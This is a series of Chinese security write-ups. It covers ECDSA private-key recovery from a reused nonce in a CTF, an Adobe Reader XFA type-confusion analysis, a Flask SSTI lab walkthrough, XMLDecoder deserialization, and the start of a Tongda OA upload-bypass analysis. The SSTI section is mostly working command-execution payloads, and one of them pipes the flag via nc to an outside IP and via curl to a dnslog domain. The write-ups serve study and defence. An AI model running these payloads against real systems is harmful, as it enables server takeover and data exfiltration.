r: '0x69a726edfb4b802cbf267d5fd1dabcea39d3d7b4bf62b9eeaeba387606167166',
s: '0x7724cedeb923f374bef4e05c97426a918123cc4fec7b07903839f12517e1b3c8'
}
var rawTx2 =
{ nonce: 1,
gasPrice: '0x3b9aca00',
gasLimit: '0x5208',
to: '0x92b28647ae1f3264661f72fb2eb9625a89d88a31',
value: '0x1922e95bca330e00',
data: '0x',
v: 41,
r: '0x69a726edfb4b802cbf267d5fd1dabcea39d3d7b4bf62b9eeaeba387606167166',
s: '0x2bbd9c2a6285c2b43e728b17bda36a81653dd5f4612a2e0aefdb48043c5108de'
}
tx1 = new EthereumTx(rawTx1);
tx2 = new EthereumTx(rawTx2);
z1=tx1.hash(false).toString("hex");
z2=tx2.hash(false).toString("hex");
console.log(z1);
console.log(z2);
这里要注意使用该库中的hash函数时要选择参数false，因为参数为false时进行hash的对象是不加入签名信息的，也就是我们需要的z值，否则默认的参数为true得到的就是添加了签名信息的hash值，得到的其实就是我们的交易hash
然后我们恢复私钥，这里的步骤也就是我们上面反推私钥的式子，要注意的是需要实现一个取模反的运算，这一部分来自于[python-ecdsa](https://github.com/warner/python-ecdsa/)
def inverse_mod( a, m ):
"""Inverse of a mod m."""
if a < 0 or m <= a: a = a % m
c, d = a, m
uc, vc, ud, vd = 1, 0, 0, 1
while c != 0:
q, c, d = divmod( d, c ) + ( c, )
uc, vc, ud, vd = ud - q*uc, vd - q*vc, uc, vc
assert d == 1
if ud > 0: return ud
else: return ud + m
def derivate_privkey(p, r, s1, s2, z1, z2):
z = z1 - z2
s = s1 - s2
r_inv = inverse_mod(r, p)
s_inv = inverse_mod(s, p)
k = (z * s_inv) % p
d = (r_inv * (s1 * k - z1)) % p
return d, k
z1 = 0x4f6a8370a435a27724bbc163419042d71b6dcbeb61c060cc6816cda93f57860c
s1 = 0x2bbd9c2a6285c2b43e728b17bda36a81653dd5f4612a2e0aefdb48043c5108de
r = 0x69a726edfb4b802cbf267d5fd1dabcea39d3d7b4bf62b9eeaeba387606167166
z2 = 0x350f3ee8007d817fbd7349c477507f923c4682b3e69bd1df5fbb93b39beb1e04
s2 = 0x7724cedeb923f374bef4e05c97426a918123cc4fec7b07903839f12517e1b3c8
p = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
print "privatekey:%x\n k:%x" % derivate_privkey(p,r,s1,s2,z1,z2)
然后我们就取得了私钥
> 614f5e36cd55ddab0947d1723693fef5456e5bee24738ba90bd33c0c6e68e269
将其导入我们的钱包即可调用挑战合约完成该题目
# 写在最后
这次的学习过程让我收获了很多，ECC算法确实是挺有趣的，之前对它的了解不是很充分，我自己现在应该也只算是初学，文章中如有错误也希望师傅们能够指正
顺带一提感觉capture the ether的题目质量着实是很高，很多题目让我学到了新东西，如有兴趣可参考我写的write
up，[part1](https://www.anquanke.com/post/id/153375) and
[part2](https://www.anquanke.com/post/id/154104)
# 参考
<https://en.wikipedia.org/wiki/Elliptic_Curve_Digital_Signature_Algorithm>
<http://kakaroto.homelinux.net/2012/01/how-the-ecdsa-algorithm-works/>
<http://www.nilsschneider.net/2013/01/28/recovering-bitcoin-private-keys.html> | 社区文章 |
# **漏洞概述**
通过构造数据可以使程序在处理Template对象时使用Form对象的函数进行处理，从而造成越界数据读取，该漏洞为类型混淆型漏洞。通过构建XML数据包（XDP）模板并对XFA对象执行某些JavaScript操作，攻击者可以强制Reader从Template对象的边界读取数据。成功后，代码将在沙盒渲染器进程中执行。
# **漏洞细节**
POC代码分析
分析漏洞的POC文件，通过PDF流解析工具PdfStreamDumper可以看到pdf文件里面的objects流。其中第5个object流为XML Data
Package结构。
XML Data Package（XDP）是Adobe Systems创建的XML 文件格式。该格式允许将PDF内容或Adobe XML Forms
Architecture（XFA）资源打包在XML 容器中。XDP符合XML
1.0的规范，可以作为独立文档，也可以在PDF文档中携带。XDP提供了一种在XML容器中打包表单组件的机制，XDP还可以打包PDF文件以及XML表单和模板数据。
而在第1个object流对象里面的XFA（XML
Forms
Architecture）对象会执行JavaScript代码，该代码会操作sub1和sub2，先将sub1添加为xfa.template对象，sub2添加为xfa.from对象，然后将sub2附加到sub1。
XFA为XML Forms Architecture，是一系列专有
XML规范，用于增强Web表单的处理。XFA提供基于模板的语法和处理规则集，允许用户构建交互式表单。基于模板的语法将定义用户在其中提供数据的字段，XFA
的开放特性将提供描述交互式表单的通用 XML 语法。
最后执行JavaScript代码将o2的presence属性设置为inactive
，该属性的含义为隐藏对象并将其从事件处理中排除。在执行该操作的时候将触发crash。
# **漏洞调试**
设置windbg为默认调试器，运行POC文件，windbg将暂停到发生crach的地方。
可以发现程序异常在AcroForm.api模块，ecx的值异常导致程序crash，通过栈回溯可以定位到crash的上一层函数AcroForm!PlugInMain+0x979f1，反汇编该函数并观察ecx的值（ecx的值是直接传入crash函数使用）。
通过反汇编发现ecx的值为[eax+esi*8]，而esi只是一个偏移并且为0，所以ecx的值受eax影响。而eax的值是从[edi+1d4]获取。查看[edi+1d4]地址的值可以发现该地址的值其实是pdf主程序路径字符串的一部分，在后面把该字符串的值当成了指针来使用，所以推测是访问越界导致crash。
当重新运行程序，可以发现[edi+1d4]每次的值都差别很大，说明该地址的值是未知区域，每次的值是不可预测的。
在通过heap命令来看该区域堆栈的分配情况可以发现edi所在的空间大小为0x140，edi为该区域的首地址（0x68e5c98+0x8大小的头），推测0x068e5ca0为一个对象指针或者一块申请的内存空间，0x140为该对象或内存空间的大小。而[edi+1d4]所在的堆区域为0x68e5de0所在的堆块，所以在使用[edi+1d4]进行访问的时候会造成越界访问。也可以使用gflags工具开启堆检查来验证。
根据后面的一些指针操作可以发现该堆块保存的都是一些地址，猜测该堆块应该保存的是一个对象。从前面的代码分析中可以知道为XFA对象，再参考《SyScan360
_2016_ -_Pwning_Adobe_Reader_with_XFA》报告中给出的关于XFA内部对象的识别办法获取Type-IDs。使用uf
poi(poi(对象地址)+8)的命令可以显示出Type-IDs。
使用uf
poi(poi(0x068e5ca0)+8)命令，可以看到类型为0x7C00，说明了该堆块保存的是一个XFA对象。
该文件官方没有pdb文件，在调试的时候很多地方很难定位到具体的结构，不过在网上能找到关于XFA结构的研究资料，其中有人做了相关的PDB文件以方便调试，我们找到对应版本的PDB文件加载，在其中搜索B8007C0000就能定位到上图的代码片段。
可以看到0x7C00表示的是XFATemplateModelImpl::Type
的方法,说明该堆块保存的数据为xfa.template对象。通过观察XFATemplateModelImpl相关的有如下函数，其中没有发现有关对象创建和内存申请的函数。
通过交叉引用或直接搜索XFATemplateModelImpl可以找到XFATemplateModelImpl类的构造函数XFATemplateModelImpl::XFATemplateModelImpl。
因为虚表是由构造函数进行初始化，可以通过XFATemplateModelImpl类的构造函数能够定位到XFATemplateModelImpl类的虚表。
通过对该虚表指针进行交叉引用可以得到两处引用，其中一处为XFATemplateModelImpl构造函数的引用，说明还有一处函数也对XFATemplateModelImpl类的虚表指针进行了引用。
通过交叉引用可以找到另一处引用函数sub_208A8FC2。
再对sub_208A8FC2进行交叉引用可以找到在XFATemplateModelFactoryImpl::newModel函数对sub_208A8FC2的调用。
在XFATemplateModelFactoryImpl::newModel函数中可以看到在函数开始就申请了0x140字节的空间，从函数名推测该处是用于new一个大小为0x140的Template对象。
Template对应的类是XFATemplateModelImpl，推测Form对应的类为XFAFormModelImpl，通过查找可以找到与XFATemplateModelImpl类似的XFAFormModelImpl类及函数。
用与查找XFATemplateModelImpl类的办法可以找到XFAFormModelImpl的虚表。在对虚表进行交叉引用找到函数sub_20902394，对sub_20902394进行交叉引用就可定位到相应的初始化Form对象的地址。
可以看到在创建Form对象的时候申请的空间大小为0x270，说明Form对象的大小为0x270。[edi+1d4]的地址实际应该是读取的Form对象中的值，Template对象大小为0x140小于0x1d4从而造成越界数据读取。所以漏洞的根本原因是代码在处理Template对象时使用了Form对象的函数进行处理，造成了类型混淆漏洞。
# 参考资料
<https://github.com/siberas/arpwn>
SyScan360 _2016_ -_Pwning_Adobe_Reader_with_XFA.pdf
<http://blogs.adobe.com/formfeed/2009/03/xfa_30_presenceinactive.html> | 社区文章 |
本人小白,师傅们勿喷
payload主要有两种形式:
一种是获取os来执行命令
{{''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('cat flag').read()}}
一种是得到__builtins__利用eval来执行命令
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
#或者是其他可以得到__builtins__的关键字。
## 知识点:
利用过滤器拼接关键字:{% set gl=dict(glo=a,bals=a)|join%}
过滤数字:用count或length，index来获取数字
利用{{lipsum|string|list}}能获取一个列表
比如我们想获取数字1
{{(lipsum|string|list).index('f')}}
得到数字1 3 5
{% set five=(lipsum|string|list)|attr(index)(t) %}
{% set three=(lipsum|string|list)|attr(index)(n) %}
{% set one=(lipsum|string|list)|attr(index)(f) %}
如果过滤了单引号可以使用join过滤器
{%set%20f=dict(f=a)|join%}{{(lipsum|string|list).index(f)}}
获取下划线
{{(lipsum|string|list).pop(18)}}
获取chr
lipsum.__globals__['__builtins__'].chr
## 第一关
no waf
只需找到os或者是 **builtins** 来执行命令即可,下面贴几种payload
利用os执行命令:
利用for循环找到，os._wrap_close类
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat flag').read()%}{%endif%}{%endfor%}
{{''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('cat flag').read()}}
利用__builtins__执行命令
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")
这里的x任意26个英文字母的任意组合都可以，同样可以得到__builtins__
{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
SSTILAB{enjoy_flask_ssti}
## 第二关
waf:bl['{{']
可以用{%%}来进行绕过，直接执行命令就好。
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat flag').read()%}{%endif%}{%endfor%}
{%print(x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()"))%}
## 第三关
waf:no waf and blind
没有回显，可以用vps监听或者DNSlog带出flag
{{().__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('cat flag|nc 8.136.15.232 80').read()}}
{{().__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('curl http://`cat flag`.u5d01l.dnslog.cn').read()}}
## 第四关
waf:bl['[', ']']
过滤了中括号，利用 **getitem** 绕过中括号
code={%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__.__getitem__('popen')('cat flag').read()%}{%endif%}{%endfor%}
## 第五关
waf:bl['\'', '"']
过滤了单双引号可以使用request来绕过，这边使用了cookie进行传参。
code={{x.__init__.__globals__.__getitem__(request.cookies.x1).eval(request.cookies.x2)}}
Cookie:x1=__builtins__;x2=__import__('os').popen('cat f*').read()
## 第六关
waf:bl['_']
过滤了下划线，同样可以使用cookie进行传参，这边还使用了attr()过滤器进行连接。
code={{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}
x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat f*').read()
## 第七关
waf:bl['.']
过滤了 . 使用过滤器进行连接即可。
{{config|attr("__class__")|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat fla*")|attr("read")()}}
## 第八关
waf:bl["class", "arg", "form", "value", "data", "request", "init", "global",
"open", "mro", "base", "attr"]
过滤了一堆，但是可以使用拼接的方式来构造。
{%for i in ""["__cla""ss__"]["__mr""o__"][1]["__subcla""sses__"]()%}{%if i.__name__ == "_wrap_close"%}{%print i["__in""it__"]["__glo""bals__"]["po""pen"]('cat f*')["re""ad"]()%}{%endif%}{%endfor%}
## 第九关
waf:bl['0-9']
过滤了数字，可以利用for循环来找到os._wrap_close,这样就不必使用数字。利用 **base** 寻找基类可以免去使用数字。
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat flag').read()%}{%endif%}{%endfor%}
## 第十关
waf:set config = None
不使用config就可以，第一关payload。
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('cat flag').read()%}{%endif%}{%endfor%}
## 第十一关
['\'', '"', '+', 'request', '.', '[', ']']
最终为了构造的payload为
lipsum. **globals**.get('os').popen('cat flag').read()
思路:利用set来定义变量，使用attr()来提取使用变量绕过点,中括号。但是这样存在一个问题是需要获取下划线，所以使用下面payload来获取下划线。
(lipsum|string|list)|attr(pop)(18)
使用join的方式相当于pass了单双引号,这样ban的字符都有了。
{% set index=dict(index=a)|join%}
{% set pop=dict(pop=a)|join%}
{% set ls=dict(ls=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set popen=dict(popen=a)|join%}
{% set get=dict(get=a)|join%}
{% set chr=dict(chr=a)|join%}
{% set n=dict(n=a)|join%}
{% set t=dict(t=a)|join%}
{% set f=dict(f=a)|join%}
{% set os=dict(os=a)|join %}
{% set read=dict(read=a)|join%}
{% set five=(lipsum|string|list)|attr(index)(t) %}
{% set three=(lipsum|string|list)|attr(index)(n) %}
{% set one=(lipsum|string|list)|attr(index)(f) %}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18) %}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set chcr=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(chr) %}
{% set space=chcr(three*three*five-five-five-three) %}
{% set shell=(cat,space,dict(flag=a)|join)|join %}
{{(lipsum|attr(globals))|attr(get)(os)|attr(popen)(shell)|attr(read)()}}
## 第十二关
waf:bl['_', '.', '0-9', '\', '\'', '"', '[', ']']
比上一关多过滤了数字，可以使用index获取数字,payload基本不变。
# 使用index获取数字
{% set five=(lipsum|string|list)|attr(index)(t) %}
{% set three=(lipsum|string|list)|attr(index)(n) %}
{% set one=(lipsum|string|list)|attr(index)(f) %}
{% set index=dict(index=a)|join%}
{% set pop=dict(pop=a)|join%}
{% set ls=dict(ls=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set popen=dict(popen=a)|join%}
{% set get=dict(get=a)|join%}
{% set chr=dict(chr=a)|join%}
{% set n=dict(n=a)|join%}
{% set t=dict(t=a)|join%}
{% set f=dict(f=a)|join%}
{% set os=dict(os=a)|join %}
{% set read=dict(read=a)|join%}
{% set five=(lipsum|string|list)|attr(index)(t) %}
{% set three=(lipsum|string|list)|attr(index)(n) %}
{% set one=(lipsum|string|list)|attr(index)(f) %}
{% set shiba=five*five-three-three-one %}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(shiba) %}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set chcr=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(chr) %}
{% set space=chcr(three*three*five-five-five-three) %}
{% set shell=(cat,space,dict(flag=a)|join)|join %}
{{(lipsum|attr(globals))|attr(get)(os)|attr(popen)(shell)|attr(read)()}}
## 第十三关
waf:bl['_', '.', '\', '\'', '"', 'request', '+', 'class', 'init', 'arg',
'config', 'app', 'self', '[', ']']
比上一关多过滤了几个关键字，但是我们的payload用不到。。所以拿上一关的payload打就可以。
{% set index=dict(index=a)|join%}
{% set pop=dict(pop=a)|join%}
{% set ls=dict(ls=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set popen=dict(popen=a)|join%}
{% set get=dict(get=a)|join%}
{% set chr=dict(chr=a)|join%}
{% set n=dict(n=a)|join%}
{% set t=dict(t=a)|join%}
{% set f=dict(f=a)|join%}
{% set os=dict(os=a)|join %}
{% set read=dict(read=a)|join%}
{% set five=(lipsum|string|list)|attr(index)(t) %}
{% set three=(lipsum|string|list)|attr(index)(n) %}
{% set one=(lipsum|string|list)|attr(index)(f) %}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18) %}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set chcr=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(chr) %}
{% set space=chcr(three*three*five-five-five-three) %}
{% set shell=(cat,space,dict(flag=a)|join)|join %}
{{(lipsum|attr(globals))|attr(get)(os)|attr(popen)(shell)|attr(read)()}}
本次参考:bfengj大佬博客
<https://blog.csdn.net/rfrder/article/details/115272645> | 社区文章 |
# 剖析xmlDecoder反序列化
##### 译文声明
本文是翻译文章，文章原作者 酒仙桥6号部队，文章来源：酒仙桥6号部队
原文地址：[https://mp.weixin.qq.com/s?src=11×tamp=1608797198&ver=2785&signature=nFZLB7yUvfFX*n9I9EHDGfW9skzR9DMGk-0coM6RkrwWeTjIbH2przB32kIHbJtzYAveS4B1fxw*CTT75Voz1SV1Wn8RVAmclsywnYPcFwWYN-f7iM6Ro5t3kl3MlkIa&new=1](https://mp.weixin.qq.com/s?src=11×tamp=1608797198&ver=2785&signature=nFZLB7yUvfFX*n9I9EHDGfW9skzR9DMGk-0coM6RkrwWeTjIbH2przB32kIHbJtzYAveS4B1fxw*CTT75Voz1SV1Wn8RVAmclsywnYPcFwWYN-f7iM6Ro5t3kl3MlkIa&new=1)
译文仅供参考，具体内容表达以及含义原文为准。
一直想写个代码审计的文章，和大腿们交流下思路，正好翻xxe的时候看到一个jdk自带的xmlDecoder反序列化，很具有代表性，就来写一下，顺带翻一下源码。
为什么选这个呢，因为ta让weblogic栽了俩跟头，其他都是手写了几个洞，被人发现了，weblogic是调用的东西存在一些问题，有苦没处说啊，下面剖析下xmlDecoder是怎么反序列化的。
## 前期准备
这次使用的是idea来调试代码，下面是用到一些快捷键：
Idea中用到的debug快捷键：
F7 进入到代码，
Alt+shift+F7 强制进入代码
Atl+F9 执行跳到下一个断点处
F8 下一步
代码中有提到invoke(class, method)方法：
拿例子说话：
methodName.invoke(owner,args)
其中owner为某个对象，methodName为需要执行的方法名称，Object[] args执行方法参数列表。
楼主使用的jdk版本：
1.8.0_151
## 敲黑板开始了
先整一个完整的xml文件，注意箭头的地方，后面会是个小坑。
使用java代码解析xml文件。
重点在Object s2 = xd.readObject();这行代码，打断点跟一下源码。
Debug模式启动：
进入方法，是个三目运算：
进入方法：
注：从这里开始，可以进行打断点，第一次跟不对的时候，下次再debug的时间alt+f9快速跳到断点处。
打个断点，进入方法：
SAXParserImpl中有一些配置，其中的xmlReader是前面已经设置过了，是接口对象new的实现类，我们看的是实现类，这里有idea可以自动进行跳入对应的实现类的方法。
父类：
注：Super：调用父类的写法，有super的类必定继承（extend）了其他类。
进入父类：
跟进：
继续跟进，跳到XML11Configuration的parse（）方法：
一些配置：
F7继续跟进：会进入本类的parse方法。
进入XMLDocumentFragmentScannerImpl后，会看到有方法中进行了do{}while{}方法，其中的next方法是重点。
跟进，跳到XMLDocumentScannerImpl的next()：
进入next()方法：
在do{}while{}里循环多次。
注：下面的显示台有变量的值，可以看到代码中变量值的变化。
继续跟进：
可以看到解析xml文件的时候有解析到calc字符，继续跟进。
ProcessBuilder这个类在xml文件中有申明，然后到了invoke，成功执行命令。
这一块代码建议亲自跟一下，会跟到很底层的东西，楼主在这一块卡了好长时间。
这次是借助了idea进行了代码的跟踪，待到能手点方法跟踪代码的那天就是楼主神功大成之日！嘎嘎嘎~
记得好多开发大牛说过，想进步，多看看jdk源码，看懂ta，打遍天下无敌手！（后面一句我吹的）
代码审计的时候不一定能搭的起环境来，基本功还是很重要的，看jdk源码就是一个很好的练习的方法。
用jdk自带的洞来练习代码审计的好处就是，可以使用idea帮助寻找跳转方法，不会有跟不下去的时候，门槛会降低很多；再有cms会有很多奇奇怪怪的写法，出现了洞的话最后还是一些基本的写法，楼主建议还是从基础的洞来入手，没有那么高的复杂度。
## 编辑利用程序
写一个方法，将xml文件拼接起来，还记得开头提到的小坑么
注：楼主最喜欢这种洞了，就像网站本身就给开了个后门一样。
Main方法调用，试试ping命令。
将方法中的代码放在jsp文件中，就可以接收请求参数了，楼主已经在用了，各位大佬可以定制下。
## 更近一步
数据不回显？
1. dnslog外带，这里有个坑，能带的字符串长度有限制，中间不能有特殊符号，可以在命令中对数据进行加密切割，分段传输。
防御方法：对doslog进行域名加黑，在攻击者探测阶段就失败。
绕过：自建dns。
2. 在服务器开启nc监听，在目标服务器访问nc服务器的端口，进行nc通信，将信息外带出来。
防御方法：在服务器监听新开启的通信。
3. 复写父类方法，使执行有输出（有难度）。
参考以上方法和冰蝎的方法可以编写定制化一个webshell工具。
## 结尾
想想类似的洞？嘿嘿嘿~ | 社区文章 |
## 影响范围
* V11版
* 2017版
* 2016版
* 2015版
* 2013版
* 2013增强版
## 漏洞简介
通达OA是由北京通达信科科技有限公司开发的一款办公系统，近日通达官方在其官网发布了安全提醒与更新程序，并披露有用户遭到攻击。
攻击者可在未授权的情况下可上传图片木马文件，之后通过精心构造的请求进行文件包含，实现远程命令执行，且攻击者无须登陆认证即可完成攻击。
## 漏洞分析
这里对通达OA11.3进行简要分析~
通达OA下载：
链接：<https://pan.baidu.com/s/1QFAoLxj9pD1bnnq3f4I8lg>
提取码：ousi
安装之后会发现源文件使用zend进行了加密，所以先要进行解密，解密网站：<http://dezend.qiling.org/free/>
### 文件上传功能
存在漏洞的上传功能文件为——webroot\ispirit\im\upload.php，具体代码如下：
<?php
//decode by http://dezend.qiling.org QQ 2859470
set_time_limit(0);
$P = $_POST['P'];
if (isset($P) || $P != '') {
ob_start();
include_once 'inc/session.php';
session_id($P);
session_start();
session_write_close();
} else {
include_once './auth.php';
}
include_once 'inc/utility_file.php';
include_once 'inc/utility_msg.php';
include_once 'mobile/inc/funcs.php';
ob_end_clean();
$TYPE = $_POST['TYPE'];
$DEST_UID = $_POST['DEST_UID'];
$dataBack = array();
if ($DEST_UID != '' && !td_verify_ids($ids)) {
$dataBack = array('status' => 0, 'content' => '-ERR ' . _('接收方ID无效'));
echo json_encode(data2utf8($dataBack));
exit;
}
if (strpos($DEST_UID, ',') !== false) {
} else {
$DEST_UID = intval($DEST_UID);
}
if ($DEST_UID == 0) {
if ($UPLOAD_MODE != 2) {
$dataBack = array('status' => 0, 'content' => '-ERR ' . _('接收方ID无效'));
echo json_encode(data2utf8($dataBack));
exit;
}
}
$MODULE = 'im';
if (1 <= count($_FILES)) {
if ($UPLOAD_MODE == '1') {
if (strlen(urldecode($_FILES['ATTACHMENT']['name'])) != strlen($_FILES['ATTACHMENT']['name'])) {
$_FILES['ATTACHMENT']['name'] = urldecode($_FILES['ATTACHMENT']['name']);
}
}
$ATTACHMENTS = upload('ATTACHMENT', $MODULE, false);
if (!is_array($ATTACHMENTS)) {
$dataBack = array('status' => 0, 'content' => '-ERR ' . $ATTACHMENTS);
echo json_encode(data2utf8($dataBack));
exit;
}
ob_end_clean();
$ATTACHMENT_ID = substr($ATTACHMENTS['ID'], 0, -1);
$ATTACHMENT_NAME = substr($ATTACHMENTS['NAME'], 0, -1);
if ($TYPE == 'mobile') {
$ATTACHMENT_NAME = td_iconv(urldecode($ATTACHMENT_NAME), 'utf-8', MYOA_CHARSET);
}
} else {
$dataBack = array('status' => 0, 'content' => '-ERR ' . _('无文件上传'));
echo json_encode(data2utf8($dataBack));
exit;
}
$FILE_SIZE = attach_size($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
if (!$FILE_SIZE) {
$dataBack = array('status' => 0, 'content' => '-ERR ' . _('文件上传失败'));
echo json_encode(data2utf8($dataBack));
exit;
}
if ($UPLOAD_MODE == '1') {
if (is_thumbable($ATTACHMENT_NAME)) {
$FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
$THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . 'thumb_' . $ATTACHMENT_NAME;
CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
}
$P_VER = is_numeric($P_VER) ? intval($P_VER) : 0;
$MSG_CATE = $_POST['MSG_CATE'];
if ($MSG_CATE == 'file') {
$CONTENT = '[fm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]';
} else {
if ($MSG_CATE == 'image') {
$CONTENT = '[im]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/im]';
} else {
$DURATION = intval($DURATION);
$CONTENT = '[vm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';
}
}
$AID = 0;
$POS = strpos($ATTACHMENT_ID, '@');
if ($POS !== false) {
$AID = intval(substr($ATTACHMENT_ID, 0, $POS));
}
$query = 'INSERT INTO im_offline_file (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG,AID) values (\'' . date('Y-m-d H:i:s') . '\',\'' . $_SESSION['LOGIN_UID'] . '\',\'' . $DEST_UID . '\',\'*' . $ATTACHMENT_ID . '.' . $ATTACHMENT_NAME . '\',\'' . $FILE_SIZE . '\',\'0\',\'' . $AID . '\')';
$cursor = exequery(TD::conn(), $query);
$FILE_ID = mysql_insert_id();
if ($cursor === false) {
$dataBack = array('status' => 0, 'content' => '-ERR ' . _('数据库操作失败'));
echo json_encode(data2utf8($dataBack));
exit;
}
$dataBack = array('status' => 1, 'content' => $CONTENT, 'file_id' => $FILE_ID);
echo json_encode(data2utf8($dataBack));
exit;
} else {
if ($UPLOAD_MODE == '2') {
$DURATION = intval($_POST['DURATION']);
$CONTENT = '[vm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $DURATION . '[/vm]';
$query = 'INSERT INTO WEIXUN_SHARE (UID, CONTENT, ADDTIME) VALUES (\'' . $_SESSION['LOGIN_UID'] . '\', \'' . $CONTENT . '\', \'' . time() . '\')';
$cursor = exequery(TD::conn(), $query);
echo '+OK ' . $CONTENT;
} else {
if ($UPLOAD_MODE == '3') {
if (is_thumbable($ATTACHMENT_NAME)) {
$FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
$THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . 'thumb_' . $ATTACHMENT_NAME;
CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
}
echo '+OK ' . $ATTACHMENT_ID;
} else {
$CONTENT = '[fm]' . $ATTACHMENT_ID . '|' . $ATTACHMENT_NAME . '|' . $FILE_SIZE . '[/fm]';
$msg_id = send_msg($_SESSION['LOGIN_UID'], $DEST_UID, 1, $CONTENT, '', 2);
$query = 'insert into IM_OFFLINE_FILE (TIME,SRC_UID,DEST_UID,FILE_NAME,FILE_SIZE,FLAG) values (\'' . date('Y-m-d H:i:s') . '\',\'' . $_SESSION['LOGIN_UID'] . '\',\'' . $DEST_UID . '\',\'*' . $ATTACHMENT_ID . '.' . $ATTACHMENT_NAME . '\',\'' . $FILE_SIZE . '\',\'0\')';
$cursor = exequery(TD::conn(), $query);
$FILE_ID = mysql_insert_id();
if ($cursor === false) {
echo '-ERR ' . _('数据库操作失败');
exit;
}
if ($FILE_ID == 0) {
echo '-ERR ' . _('数据库操作失败2');
exit;
}
echo '+OK ,' . $FILE_ID . ',' . $msg_id;
exit;
}
}
}
关键核心代码1：
从上面的逻辑中可以看到，这里只要传递参数"P"或参数P不为空，那么就不会进入else语句，上面的auth.php主要实现身份认证功能，所以我们可以通过这里的参数"P"绕过登录认证，在未授权的情况下访问上传功能点~
关键核心代码2：
从上面的代码中可以看到，这里要想成功进入到文件上传处理逻辑功能(L39)，我们需要先通过前面的if判断检测，通过分析上面的代码可以看到，这里我们只需要传递一个DEST_UID不为空，且不为0的值即可。
在之后的文件上传处理逻辑代码中，会对"$_FILES['ATTACHMENT']['name'])"进行一次url解码，之后判断解码前后文件名长度是否有变化，如果有变化，则将url解码后的文件名作为最后的文件名。
在L45行代码可以看到，这里会调用upload函数对文件进行一个检测，经过跟踪发现该文件位于——inc/utility_file.php的1321行，函数具体代码如下：
function upload($PREFIX = 'ATTACHMENT', $MODULE = '', $OUTPUT = true)
{
if (strstr($MODULE, '/') || strstr($MODULE, '\\')) {
if (!$OUTPUT) {
return _('参数含有非法字符。');
}
Message(_('错误'), _('参数含有非法字符。'));
exit;
}
$ATTACHMENTS = array('ID' => '', 'NAME' => '');
reset($_FILES);
foreach ($_FILES as $KEY => $ATTACHMENT) {
if ($ATTACHMENT['error'] == 4 || $KEY != $PREFIX && substr($KEY, 0, strlen($PREFIX) + 1) != $PREFIX . '_') {
continue;
}
$data_charset = isset($_GET['data_charset']) ? $_GET['data_charset'] : (isset($_POST['data_charset']) ? $_POST['data_charset'] : '');
$ATTACH_NAME = $data_charset != '' ? td_iconv($ATTACHMENT['name'], $data_charset, MYOA_CHARSET) : $ATTACHMENT['name'];
$ATTACH_SIZE = $ATTACHMENT['size'];
$ATTACH_ERROR = $ATTACHMENT['error'];
$ATTACH_FILE = $ATTACHMENT['tmp_name'];
$ERROR_DESC = '';
if ($ATTACH_ERROR == UPLOAD_ERR_OK) {
